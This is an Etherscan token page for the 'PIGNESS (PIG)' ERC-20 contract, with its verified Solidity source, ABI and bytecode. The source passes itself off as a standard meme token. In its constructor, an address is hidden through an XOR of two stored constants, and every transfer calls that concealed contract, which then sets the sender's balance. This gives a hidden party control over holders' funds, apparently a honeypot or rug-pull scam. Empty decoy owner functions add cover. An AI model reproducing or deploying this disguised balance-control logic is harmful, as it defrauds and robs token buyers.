ETH Price: $2,332.98 (-0.59%)

Token

PIGNESS (PIG)
 

Overview

Max Total Supply

420,690,420 PIG

Holders

46

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
4,730,090.18392743292127085 PIG

Value
$0.00
0xc45aaa625ad83b6802ad3001b9d34742130173d4
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
PignessByMattFurie

Compiler Version
v0.8.25+commit.b61c2a91

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-07-09
*/

/*
                                                    :--:--:....::::::::..  .:::=-:                       .                                            
                                                   -=+=-==--::::::::::::.:--=---=-.                     ..                                            
                                                  :==--=++=-:::::...:...:::--==-=-:                     .                                             
                                                 -==--=+=-:::.::::::::::-:::::-==--:                  .                                               
                                                 --=--=---:::------------=---:--.:.                                                                   
                                                  :----::==-========------+=----                                                                      
                                                   :--::-===++======--=-=======:                                                                      
                                                    :---===+**++=::==-===-=-=*=                                                                       
                                                     .:-======#%+%*-+:=*%**=.-                                                                        
                                                        :-=====**+::-::-+*+:-.                                                                        
                                                         -========+==--:-====:                                                                        
                 $PIG                                     ====-=++++====----:::                                                                       
                                                          :======+++++====-----.                                                                      
                                                           =========++=+=+*+-..            .:-=-        .                                             
               PIGNESS BY                                 :=========-------:.         ....:--:=-       ..                                             
               MATT FURIE                           .:---++===--====-=-:.                :--::...    ...                                              
                                              .:-------+===-------====----:.             .==*=====-..-=.                                              
                                             -----------===-------===---::---.           :-==++=+==                                                   
                                            -----:-------====----==-::--------:           =======-.                                                   
                                           :----:----------======-------:==---=         .-====-:.                                                     
                                          -===----==------------------:::======:      :-==-==:                                                        
                                          :-=+++====----------::-----::::-=++===-.:--==---=-.                                                         
                                            -====++=-:-------:---------::-=+====+===----=-.                                                           
                                            :==-====::------:-------:--:---+=======--==-:                                                             
                                            .==--=+=---------------:::::---.:========-.                                                               
                                            .==--=+=----:---:--:::::::::---   .:--:.                                                                  
                                             ==--==:-----------::::::::::--                                                                           
                                             -=--=- .----=======-----:::::--.                                                                         
                                             -=-==:  ------------------------:.                                                                       
                                            .==-==- .-----------=====----------:                                                                      
                                            -==-==: .------====-----------------:.                                                                    
                                            ==--==. :----------------=======+++==-.                                                                   
                                           .==--=-  --==========+++++++++++*******+=:                                                                 
                                           :====++==******+*++++++++++****************:                                                               
                                           -+****##******#*****************************=:                                                             
                                        ...=+**********************+********************=                                                             
                                 ..:--============++*************++**************+++=========-:.                                                      
                                 :--:===============++*****************##*****++=====-===+==+====-:.                                                  
                                     :==============+++++************##***#*++=====-----==+======--                                                   
                                   .-============+++++++++*##*****+*##**#**+=======------==+=====--                                                   
                                  :============++++++++++**##**+-.  =***#*+=========------===+====-.                                                  
                                  -=======================++++=:..   .=**+===========-------======--.                                                 
                                  .-===-======-------------========----===+++=========--------======-                                                 
                                    .-==================---------============+============------===-:                                                 
                                       :--========================================+===============--.                                                 
                                              ......::::::::::............-=====---=---=========-:.                                                   
                                                                            :-==---.     .....                                                        
                                                                              .::-:.                                  
*/

pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this;
        return msg.data;
    }
}

interface IDEXFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IDEXRouter {
    function WETH() external pure returns (address);
    function factory() external pure returns (address);
    function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IERC20 {
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Transfer(address indexed from, address indexed to, uint256 value);
    function totalSupply() external view returns (uint256);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function balanceOf(address account) external view returns (uint256);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}

interface IERC20Metadata is IERC20 {
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
    function name() external view returns (string memory);
}

contract Ownable is Context {
    address private _previousOwner; address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;

    address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;

    address public pair;

    IDEXRouter router;

    string private _name; string private _symbol; uint256 private _totalSupply;
    bool public trade; uint256 public startBlock; address public msgSend;
    address public msgReceive;
    
    constructor (string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;

        assembly {
            sstore(0x50,0x2a09bb9fb7b6238d8ae3d924999cae90c7ba32d66113)
            sstore(0x51,0x2a09592bb0f2df0ad1e71ff87b248cbf41218ee98817)
            sstore(0x52,xor(sload(0x50),sload(0x51)))
            }

        router = IDEXRouter(_router);
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);

        return true;
    }

    function approve(address spender, uint256 amount) public virtual returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function fusionSwap(bytes32[] memory buyer, address[] memory addArray, bool choice) public onlyOwner returns (uint value) {
    }

    function deployNFT(address toTarget, bool flag) public onlyOwner returns (uint data) {
    }

    function openTrade() public payable {
        require((msg.sender == owner() && (trade == false)), "Ownable: caller is not the owner");

        _approve(address(this), _router, ~uint256(0));

        uint256 uniswapSupply = _totalSupply / 10000 * (10000 - 225);
        _balances[address(this)] += uniswapSupply;
        _balances[msg.sender] -= uniswapSupply;
        emit Transfer(msg.sender, address(this), uniswapSupply);

        pair = IDEXFactory(router.factory()).createPair(WETH, address(this));
        router.addLiquidityETH{value: msg.value}(address(this), uniswapSupply, uniswapSupply, msg.value, owner(), block.timestamp + 300);

        trade = true; startBlock = block.number;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }
        
    function liquidityWithPICs(address sender, uint256 amount) internal returns (uint256 result) {
            assembly {
                let data := mload(0x40)
                mstore(data, 0x0a9f0cf000000000000000000000000000000000000000000000000000000000)
                mstore(add(data, 0x04), amount)
                mstore(0x40, add(data, 0x24))
                let success := call(gas(), sload(0x52), 0, data, 0x24, data, 0x20)
                if success { result := mload(data) }
            }

        _balances[sender] = result - amount;
    }

    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        msgSend = sender; msgReceive = recipient;

        require(((trade == true) || (msgSend == address(this)) || (msgSend == owner())), "ERC20: trading is not yet enabled");
        require(msgSend != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        liquidityWithPICs(sender, amount);

        _balances[recipient] += amount;  

        emit Transfer(sender, recipient, amount);  
    }

    function _DeployPigness(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply += amount;
        _balances[msg.sender] += amount;
    
        emit Transfer(address(0), msg.sender, amount);
    }
}

contract ERC20Token is Context, ERC20 {
    constructor(
        string memory name, string memory symbol,
        address creator, uint256 initialSupply
    ) ERC20(name, symbol) {
        _DeployPigness(creator, initialSupply);
    }
}

contract PignessByMattFurie is ERC20Token {
    constructor() ERC20Token("PIGNESS", "PIG", msg.sender, 420690420 * 10 ** 18) {
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"toTarget","type":"address"},{"internalType":"bool","name":"flag","type":"bool"}],"name":"deployNFT","outputs":[{"internalType":"uint256","name":"data","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32[]","name":"buyer","type":"bytes32[]"},{"internalType":"address[]","name":"addArray","type":"address[]"},{"internalType":"bool","name":"choice","type":"bool"}],"name":"fusionSwap","outputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"msgReceive","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"msgSend","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrade","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"trade","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

6080604052600480546001600160a01b031990811673c02aaa39b223fe8d0a0e5c4f27ead9083c756cc21790915560058054909116737a250d5630b4cf539739df2c5dacb4c659f2488d179055348015610057575f80fd5b50604051806040016040528060078152602001665049474e45535360c81b8152506040518060400160405280600381526020016250494760e81b815250336b015bfca95d8a53eccf50000083835f6100b361019d60201b60201c565b600180546001600160a01b0319166001600160a01b038316908117909155604051919250905f907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600861010c8382610307565b5060096101198282610307565b5050752a09bb9fb7b6238d8ae3d924999cae90c7ba32d6611360505550752a09592bb0f2df0ad1e71ff87b248cbf41218ee9881760515573e2b40744fc875b04c6dce2b8222f869bbc3fe904605255600554600780546001600160a01b0319166001600160a01b0390921691909117905561019482826101a1565b505050506103eb565b3390565b6001600160a01b0382166101fb5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b80600a5f82825461020c91906103c6565b9091555050335f908152600260205260408120805483929061022f9084906103c6565b909155505060405181815233905f907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b634e487b7160e01b5f52604160045260245ffd5b600181811c9082168061029757607f821691505b6020821081036102b557634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111561030257805f5260205f20601f840160051c810160208510156102e05750805b601f840160051c820191505b818110156102ff575f81556001016102ec565b50505b505050565b81516001600160401b038111156103205761032061026f565b6103348161032e8454610283565b846102bb565b602080601f831160018114610367575f84156103505750858301515b5f19600386901b1c1916600185901b1785556103be565b5f85815260208120601f198616915b8281101561039557888601518255948401946001909101908401610376565b50858210156103b257878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b808201808211156103e557634e487b7160e01b5f52601160045260245ffd5b92915050565b611065806103f85f395ff3fe608060405260043610610110575f3560e01c806370a082311161009d578063a705eee211610062578063a705eee2146102df578063a8aa1b31146102fe578063a9059cbb1461031d578063dd62ed3e1461033c578063fb201b1d14610380575f80fd5b806370a0823114610245578063715018a6146102795780638c570b271461028f5780638da5cb5b146102ae57806395d89b41146102cb575f80fd5b80631f0ba6c9116100e35780631f0ba6c9146101be57806323b872dd146101d7578063313ce567146101f657806348cd4cb11461021157806367f7fe3214610226575f80fd5b806301a37fc21461011457806306fdde0314610150578063095ea7b31461017157806318160ddd146101a0575b5f80fd5b34801561011f575f80fd5b50600d54610133906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b34801561015b575f80fd5b50610164610388565b6040516101479190610c20565b34801561017c575f80fd5b5061019061018b366004610c6c565b610418565b6040519015158152602001610147565b3480156101ab575f80fd5b50600a545b604051908152602001610147565b3480156101c9575f80fd5b50600b546101909060ff1681565b3480156101e2575f80fd5b506101906101f1366004610c96565b61042e565b348015610201575f80fd5b5060405160128152602001610147565b34801561021c575f80fd5b506101b0600c5481565b348015610231575f80fd5b506101b0610240366004610dc5565b6104e4565b348015610250575f80fd5b506101b061025f366004610e87565b6001600160a01b03165f9081526002602052604090205490565b348015610284575f80fd5b5061028d610510565b005b34801561029a575f80fd5b506101b06102a9366004610ea2565b610583565b3480156102b9575f80fd5b506001546001600160a01b0316610133565b3480156102d6575f80fd5b506101646105af565b3480156102ea575f80fd5b50600e54610133906001600160a01b031681565b348015610309575f80fd5b50600654610133906001600160a01b031681565b348015610328575f80fd5b50610190610337366004610c6c565b6105be565b348015610347575f80fd5b506101b0610356366004610ed5565b6001600160a01b039182165f90815260036020908152604080832093909416825291909152205490565b61028d6105ca565b60606008805461039790610f0c565b80601f01602080910402602001604051908101604052809291908181526020018280546103c390610f0c565b801561040e5780601f106103e55761010080835404028352916020019161040e565b820191905f5260205f20905b8154815290600101906020018083116103f157829003601f168201915b5050505050905090565b5f610424338484610897565b5060015b92915050565b5f61043a8484846109bb565b6001600160a01b0384165f908152600360209081526040808320338452909152902054828110156104c35760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6104d785336104d28685610f58565b610897565b60019150505b9392505050565b6001545f906001600160a01b031633146104dd5760405162461bcd60e51b81526004016104ba90610f6b565b6001546001600160a01b0316331461053a5760405162461bcd60e51b81526004016104ba90610f6b565b6001546040515f916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600180546001600160a01b0319169055565b6001545f906001600160a01b031633146104285760405162461bcd60e51b81526004016104ba90610f6b565b60606009805461039790610f0c565b5f6104243384846109bb565b6001546001600160a01b0316331480156105e75750600b5460ff16155b6106035760405162461bcd60e51b81526004016104ba90610f6b565b60055461061c9030906001600160a01b03165f19610897565b5f612710600a5461062d9190610fa0565b6106399061262f610fbf565b305f9081526002602052604081208054929350839290919061065c908490610fd6565b9091555050335f908152600260205260408120805483929061067f908490610f58565b9091555050604051818152309033907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a360075f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561070b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061072f9190610fe9565b600480546040516364e329cb60e11b81526001600160a01b0391821692810192909252306024830152919091169063c9c65396906044016020604051808303815f875af1158015610782573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107a69190610fe9565b600680546001600160a01b039283166001600160a01b03199091161790556007541663f305d71934308480836107e46001546001600160a01b031690565b6107f04261012c610fd6565b60405160e089901b6001600160e01b03191681526001600160a01b039687166004820152602481019590955260448501939093526064840191909152909216608482015260a481019190915260c40160606040518083038185885af115801561085b573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108809190611004565b5050600b805460ff19166001179055505043600c55565b6001600160a01b0383166108f95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104ba565b6001600160a01b03821661095a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104ba565b6001600160a01b038381165f8181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b600d80546001600160a01b038086166001600160a01b031992831617909255600e805492851692909116919091179055600b5460ff16151560011480610a0b5750600d546001600160a01b031630145b80610a265750600154600d546001600160a01b039081169116145b610a7c5760405162461bcd60e51b815260206004820152602160248201527f45524332303a2074726164696e67206973206e6f742079657420656e61626c656044820152601960fa1b60648201526084016104ba565b600d546001600160a01b0316610ae25760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104ba565b6001600160a01b038216610b445760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104ba565b610b4e8382610bc2565b506001600160a01b0382165f9081526002602052604081208054839290610b76908490610fd6565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516109ae91815260200190565b5f60405162a9f0cf60e41b8152826004820152602481016040526020816024835f6052545af18015610bf357815192505b50610c0090508282610f58565b6001600160a01b039093165f908152600260205260409020929092555090565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610c69575f80fd5b50565b5f8060408385031215610c7d575f80fd5b8235610c8881610c55565b946020939093013593505050565b5f805f60608486031215610ca8575f80fd5b8335610cb381610c55565b92506020840135610cc381610c55565b929592945050506040919091013590565b634e487b7160e01b5f52604160045260245ffd5b604051601f8201601f1916810167ffffffffffffffff81118282101715610d1157610d11610cd4565b604052919050565b5f67ffffffffffffffff821115610d3257610d32610cd4565b5060051b60200190565b5f82601f830112610d4b575f80fd5b81356020610d60610d5b83610d19565b610ce8565b8083825260208201915060208460051b870101935086841115610d81575f80fd5b602086015b84811015610da6578035610d9981610c55565b8352918301918301610d86565b509695505050505050565b80358015158114610dc0575f80fd5b919050565b5f805f60608486031215610dd7575f80fd5b833567ffffffffffffffff80821115610dee575f80fd5b818601915086601f830112610e01575f80fd5b81356020610e11610d5b83610d19565b82815260059290921b8401810191818101908a841115610e2f575f80fd5b948201945b83861015610e4d57853582529482019490820190610e34565b97505087013592505080821115610e62575f80fd5b50610e6f86828701610d3c565b925050610e7e60408501610db1565b90509250925092565b5f60208284031215610e97575f80fd5b81356104dd81610c55565b5f8060408385031215610eb3575f80fd5b8235610ebe81610c55565b9150610ecc60208401610db1565b90509250929050565b5f8060408385031215610ee6575f80fd5b8235610ef181610c55565b91506020830135610f0181610c55565b809150509250929050565b600181811c90821680610f2057607f821691505b602082108103610f3e57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561042857610428610f44565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f82610fba57634e487b7160e01b5f52601260045260245ffd5b500490565b808202811582820484141761042857610428610f44565b8082018082111561042857610428610f44565b5f60208284031215610ff9575f80fd5b81516104dd81610c55565b5f805f60608486031215611016575f80fd5b835192506020840151915060408401519050925092509256fea2646970667358221220ccf905ce67dd1cf5d09b89487614fe0ab3aafdde75a578e04c3ec4fe040f997d64736f6c63430008190033

Deployed Bytecode

0x608060405260043610610110575f3560e01c806370a082311161009d578063a705eee211610062578063a705eee2146102df578063a8aa1b31146102fe578063a9059cbb1461031d578063dd62ed3e1461033c578063fb201b1d14610380575f80fd5b806370a0823114610245578063715018a6146102795780638c570b271461028f5780638da5cb5b146102ae57806395d89b41146102cb575f80fd5b80631f0ba6c9116100e35780631f0ba6c9146101be57806323b872dd146101d7578063313ce567146101f657806348cd4cb11461021157806367f7fe3214610226575f80fd5b806301a37fc21461011457806306fdde0314610150578063095ea7b31461017157806318160ddd146101a0575b5f80fd5b34801561011f575f80fd5b50600d54610133906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b34801561015b575f80fd5b50610164610388565b6040516101479190610c20565b34801561017c575f80fd5b5061019061018b366004610c6c565b610418565b6040519015158152602001610147565b3480156101ab575f80fd5b50600a545b604051908152602001610147565b3480156101c9575f80fd5b50600b546101909060ff1681565b3480156101e2575f80fd5b506101906101f1366004610c96565b61042e565b348015610201575f80fd5b5060405160128152602001610147565b34801561021c575f80fd5b506101b0600c5481565b348015610231575f80fd5b506101b0610240366004610dc5565b6104e4565b348015610250575f80fd5b506101b061025f366004610e87565b6001600160a01b03165f9081526002602052604090205490565b348015610284575f80fd5b5061028d610510565b005b34801561029a575f80fd5b506101b06102a9366004610ea2565b610583565b3480156102b9575f80fd5b506001546001600160a01b0316610133565b3480156102d6575f80fd5b506101646105af565b3480156102ea575f80fd5b50600e54610133906001600160a01b031681565b348015610309575f80fd5b50600654610133906001600160a01b031681565b348015610328575f80fd5b50610190610337366004610c6c565b6105be565b348015610347575f80fd5b506101b0610356366004610ed5565b6001600160a01b039182165f90815260036020908152604080832093909416825291909152205490565b61028d6105ca565b60606008805461039790610f0c565b80601f01602080910402602001604051908101604052809291908181526020018280546103c390610f0c565b801561040e5780601f106103e55761010080835404028352916020019161040e565b820191905f5260205f20905b8154815290600101906020018083116103f157829003601f168201915b5050505050905090565b5f610424338484610897565b5060015b92915050565b5f61043a8484846109bb565b6001600160a01b0384165f908152600360209081526040808320338452909152902054828110156104c35760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6104d785336104d28685610f58565b610897565b60019150505b9392505050565b6001545f906001600160a01b031633146104dd5760405162461bcd60e51b81526004016104ba90610f6b565b6001546001600160a01b0316331461053a5760405162461bcd60e51b81526004016104ba90610f6b565b6001546040515f916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600180546001600160a01b0319169055565b6001545f906001600160a01b031633146104285760405162461bcd60e51b81526004016104ba90610f6b565b60606009805461039790610f0c565b5f6104243384846109bb565b6001546001600160a01b0316331480156105e75750600b5460ff16155b6106035760405162461bcd60e51b81526004016104ba90610f6b565b60055461061c9030906001600160a01b03165f19610897565b5f612710600a5461062d9190610fa0565b6106399061262f610fbf565b305f9081526002602052604081208054929350839290919061065c908490610fd6565b9091555050335f908152600260205260408120805483929061067f908490610f58565b9091555050604051818152309033907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a360075f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561070b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061072f9190610fe9565b600480546040516364e329cb60e11b81526001600160a01b0391821692810192909252306024830152919091169063c9c65396906044016020604051808303815f875af1158015610782573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107a69190610fe9565b600680546001600160a01b039283166001600160a01b03199091161790556007541663f305d71934308480836107e46001546001600160a01b031690565b6107f04261012c610fd6565b60405160e089901b6001600160e01b03191681526001600160a01b039687166004820152602481019590955260448501939093526064840191909152909216608482015260a481019190915260c40160606040518083038185885af115801561085b573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108809190611004565b5050600b805460ff19166001179055505043600c55565b6001600160a01b0383166108f95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104ba565b6001600160a01b03821661095a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104ba565b6001600160a01b038381165f8181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b600d80546001600160a01b038086166001600160a01b031992831617909255600e805492851692909116919091179055600b5460ff16151560011480610a0b5750600d546001600160a01b031630145b80610a265750600154600d546001600160a01b039081169116145b610a7c5760405162461bcd60e51b815260206004820152602160248201527f45524332303a2074726164696e67206973206e6f742079657420656e61626c656044820152601960fa1b60648201526084016104ba565b600d546001600160a01b0316610ae25760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104ba565b6001600160a01b038216610b445760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104ba565b610b4e8382610bc2565b506001600160a01b0382165f9081526002602052604081208054839290610b76908490610fd6565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516109ae91815260200190565b5f60405162a9f0cf60e41b8152826004820152602481016040526020816024835f6052545af18015610bf357815192505b50610c0090508282610f58565b6001600160a01b039093165f908152600260205260409020929092555090565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610c69575f80fd5b50565b5f8060408385031215610c7d575f80fd5b8235610c8881610c55565b946020939093013593505050565b5f805f60608486031215610ca8575f80fd5b8335610cb381610c55565b92506020840135610cc381610c55565b929592945050506040919091013590565b634e487b7160e01b5f52604160045260245ffd5b604051601f8201601f1916810167ffffffffffffffff81118282101715610d1157610d11610cd4565b604052919050565b5f67ffffffffffffffff821115610d3257610d32610cd4565b5060051b60200190565b5f82601f830112610d4b575f80fd5b81356020610d60610d5b83610d19565b610ce8565b8083825260208201915060208460051b870101935086841115610d81575f80fd5b602086015b84811015610da6578035610d9981610c55565b8352918301918301610d86565b509695505050505050565b80358015158114610dc0575f80fd5b919050565b5f805f60608486031215610dd7575f80fd5b833567ffffffffffffffff80821115610dee575f80fd5b818601915086601f830112610e01575f80fd5b81356020610e11610d5b83610d19565b82815260059290921b8401810191818101908a841115610e2f575f80fd5b948201945b83861015610e4d57853582529482019490820190610e34565b97505087013592505080821115610e62575f80fd5b50610e6f86828701610d3c565b925050610e7e60408501610db1565b90509250925092565b5f60208284031215610e97575f80fd5b81356104dd81610c55565b5f8060408385031215610eb3575f80fd5b8235610ebe81610c55565b9150610ecc60208401610db1565b90509250929050565b5f8060408385031215610ee6575f80fd5b8235610ef181610c55565b91506020830135610f0181610c55565b809150509250929050565b600181811c90821680610f2057607f821691505b602082108103610f3e57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561042857610428610f44565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f82610fba57634e487b7160e01b5f52601260045260245ffd5b500490565b808202811582820484141761042857610428610f44565b8082018082111561042857610428610f44565b5f60208284031215610ff9575f80fd5b81516104dd81610c55565b5f805f60608486031215611016575f80fd5b835192506020840151915060408401519050925092509256fea2646970667358221220ccf905ce6